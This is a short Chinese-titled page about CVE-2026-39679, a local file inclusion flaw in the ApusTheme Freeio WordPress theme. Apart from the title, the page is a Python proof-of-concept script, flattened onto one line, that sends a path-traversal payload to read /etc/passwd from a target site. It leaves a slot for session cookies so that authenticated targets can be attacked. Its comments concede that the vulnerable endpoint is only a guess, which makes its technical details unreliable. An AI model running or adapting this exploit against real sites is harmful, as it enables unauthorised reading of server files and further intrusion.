CVE-2026-39679 Freeio主题本地文件包含漏洞

import requests # CVE-2026-39679 Proof of Concept (PoC) # Target: ApusTheme Freeio <= 1.3.21 # Vulnerability Type: PHP Local File Inclusion (LFI) # Note: This script is for educational purposes only. def check_lfi(target_url, cookie=None): """ Attempts to read /etc/passwd using path traversal. Assumes a vulnerable parameter 'file' exists in the endpoint. """ # The vulnerable endpoint might vary, this is a common pattern for themes # Adjust the endpoint and parameter based on actual source code analysis base_endpoint = "?ajax_action=load_file&file=" # Path traversal payload to read /etc/passwd # Using ../../.. to escape the current directory payload = "../../../../../etc/passwd" full_url = target_url + base_endpoint + payload headers = { "User-Agent": "CVE-2026-39679-Scanner/1.0" } try: response = requests.get(full_url, headers=headers, cookies=cookie, timeout=10) # Check if the response contains typical /etc/passwd markers if "root:x" in response.text and "/bin/bash" in response.text: print(f"[+] Vulnerability Confirmed at {target_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Vulnerability not detected or target patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com/wp-content/themes/freeio/" # Replace with actual target # If auth is required (PR:L), provide session cookies here # session_cookies = {"wordpress_logged_in_...": "..."} check_lfi(target)